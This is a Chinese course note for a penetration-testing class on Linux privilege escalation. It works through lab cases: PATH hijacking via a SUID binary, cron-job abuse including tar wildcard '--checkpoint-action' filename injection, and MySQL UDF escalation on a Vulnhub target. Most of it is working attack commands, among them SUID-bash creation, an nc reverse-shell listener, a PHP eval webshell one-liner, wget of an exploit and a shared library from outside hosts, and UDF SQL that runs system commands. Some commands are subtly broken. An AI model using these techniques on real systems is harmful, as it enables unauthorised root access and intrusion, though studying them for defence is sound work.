64:权限提升-Linux定时任务&环境变量&数据库
本课重点
- 案例1:linux提权本地环境变量安全-Aliyun-鸡肋
- 案例2:linux提权本地定时任务安全-Aliyun
- 案例3:linux提权第三方服务数据库-Vulnhub
- 案例4:linux提权提升简单总结归类
案例1:linux提权本地环境变量安全-Aliyun-鸡肋
这个提权方法比较鸡肋,因为它需要两个前提条件:
- 1.需要复制suid权限
- 2.设置环境变量需要有本地用户权限,web权限设置不了
过程:手写调用文件-编译-复制文件-增加环境变量-执行触发
gcc demo.c -o shell cp /bin/sh /tmp/ps export PATH=/tmp:$PATH chmod u+s shell ./shell id
<1>首先id查看一下当前登录用户权限,是本地普通用户。
<2>将demo.c上传到/home/普通用户名/script/目录下,编译:gcc demo.c -o shell。demo.c就是通过system执行ps命令。
<3>复制文件。cp /bin/sh /tmp/ps,把/bin/sh复制给/tmp/ps,ps命令本来是用于显示当前进程的状态,复制后执行./ps就变成了执行sh命令。
<4>增加环境变量。export PATH=/tmp:$PATH,环境变量里新增/tmp目录,此时执行ps命令就相当于直接执行sh命令了。
<5>执行触发。chmod u+s shell,./shell执行触发demo.c里面的ps命令,成功提权。$变成#
案例2:linux提权本地定时任务安全-Aliyun
第一种:路径问题导致提权
原理:利用计划任务指向的文件的相对路径解析问题
cat /etc/crontab echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh chmod +x /home/xiaodi/test.sh /tmp/bash
<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的。
定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh。(我们自己写来测试用的)
打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log。
等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间。
<2>那我们该如何利用这个定时任务提权呢?方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的 /home/xiaodi/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权。但是测试发现并没有提权成功,原因不知道为啥。
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh chmod +x /home/xiaodi/test.sh /tmp/bash
第二种:命令问题导致提权
原理:利用通配符配合命令参数自定义命令实现提权
提权命令
cat /etc/crontab cd /home/undead/script;tar czf /tmp/backup.tar.gz * echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1 ./bash -p id
不安全定时任务备份命令:
- 参考命令:https://www.cnblogs.com/manong--/p/8012324.html
<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的。
定时任务每分钟执行一次,打开backup.sh,发现是将 /home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下。
<2>使用以下命令,在/home/undead/script目录下创建3个文件
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh echo "" > "--checkpoint-action=exec=sh test.sh" echo "" > --checkpoint=1
<3>等待一分钟,系统定时任务执行,打包,打开/tmp目录查看,发现test.sh等文件打包为一个backup.tar.gz文件,但我们刚才创建的另外两个文件并未在backup.tar.gz中,而是另外生成了一个bash文件。
这是为什么呢?原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于
tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
而 --checkpoint、--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1和--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件。--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把 bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限,所以这里是一环套一环的。
<4>提权利用。成功提权。
类似tar提权的命令还有chown、chmod、rsync等,大家可以自己研究一下。
第三种:权限问题导致提权
原理:利用不安全的权限分配操作导致的定时文件覆盖
原理解读:管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖,造成风险。
案例演示
<1>执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的。
<2>测试check.sh文件是否有权限问题。可以以普通用户身份直接修改check.sh文件,如果能修改成功,说明存在权限问题,也可以直接执行ls -l check.sh,查看check.sh的权限,如果是-rwxrwxrwx,说明存在权限问题。只要存在权限问题,就可利用提权。
<3>提权利用。可以模仿上述方法,直接写入命令到定时任务check.sh,从而成功提权。
- 首先,vim命令打开check.sh文件,写入:cp bin/bash /tmp/bash; chmod +s /tmp/bash
- 然后,等待定时任务执行后,执行/tmp/bash,提权成功。
案例3:linux提权第三方服务数据库MYSQL_UDF-Vulnhub
Vulnhub某靶机-探针IP及端口-利用漏洞获取web权限-信息收集-查看数据库配置文件-利用Mysql提权Linux(Mysql版本区别同windows)
<1>探针IP及端口。直接探针当前自己机器IP所在网段,因为靶机就在同一网段。这里我们使用的忍者系统。
nmap 192.168.76.0/24
通过扫描找到了目标主机以及对应的web服务。
扫描目录,发现一个目录遍历漏洞,打开网站目录,发现使用了phpmailer。
<2>利用phpmailer漏洞进行修改并反弹。
(1)下载exp,修改配置(目标地址、后门等)
(2)本地监听端口
nc -lvvp 4444
(3)执行exp
python D:/Myproject/40974.py
(4)成功反弹shell
(5)也可以打开xiaodi.php,拿到shell权限。
<3>写入后门利用菜刀连接方便操作
echo '<?php eval($_POST[x];?)>' > 1.php
<4>上传信息收集脚本进行提权信息收集
./LinEnum.sh
检测到系统装有第三方服务——mysql数据库,版本为5.5.60
<5>翻阅数据库配置文件获取root密码
cat wp-config.php
<6>利用Mysql提权 searchspolit
(1)下载mysql udf poc进行编译(目标服务器可能没有gcc,所以最好在本机进行编译再上传) wget https://www.exploit-db.com/download/1518 mv 1518 raptor_udf.c gcc -g -c raptor_udf.c gcc -g -shared -o raptor_udf.so raptor_udf.o -lc mv raptor_udf.so 1518.so (2)下载1518到目标服务器 wget https://xx.xx.xx.xx/1518.so (3)进入数据库进行UDF导出(root连接) use mysql; create table foo(line blob); insert into foo values(load_file('/tmp/1518.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so'; (4)创建do_system函数调用 create function do_system returns integer soname '1518.so'; select do_system('chmod u+s /usr/bin/find');
<7>配合使用find调用执行
touch xiaodi find xiaodi -exec "whoami" \; find xiaodi -exec "/bin/sh" \; id
案例4:linux提权提升简单总结归类-参考PDF
1、提权环境,信息收集(主要关注:SUID,定时任务,可能漏洞,第三方服务应用等)
2、最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
- 信息收集脚本比如linux-exploit-suggester.sh并不能实时更新,因此一些最新漏洞就无法收录,此时可以自己二次开发,放入最新漏洞。
3、本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)
- searchsploit
- (1)下载:https://github.com/offensive-security/exploitdb
- (2)忍者系统集成,比如可以直接在忍者系统命令行searchsploit mysql搜索mysql相关漏洞,如图4.3
- 最新漏洞官网在线搜索:https://www.exploit-db.com
- 这个漏洞库是国外的,收录的漏洞也是一些国际上用的比较多的软件,如果想要查找一些国内小众cms之类的漏洞,可以去国内的漏洞库查看。
4、其他提权方法,如:
- 密码复用(主要靠运气,看弱密码)
- guid提权(与suid提权同理,只是搜索语句不同,如图4.4)
- sudo提权(很鸡肋,没鸟用)
- sudo说明参考:CVE-2019-14287:sudo权限绕过漏洞分析与复现(https://www.freebuf.com/vuls/217089.html)
图4.3
图4.4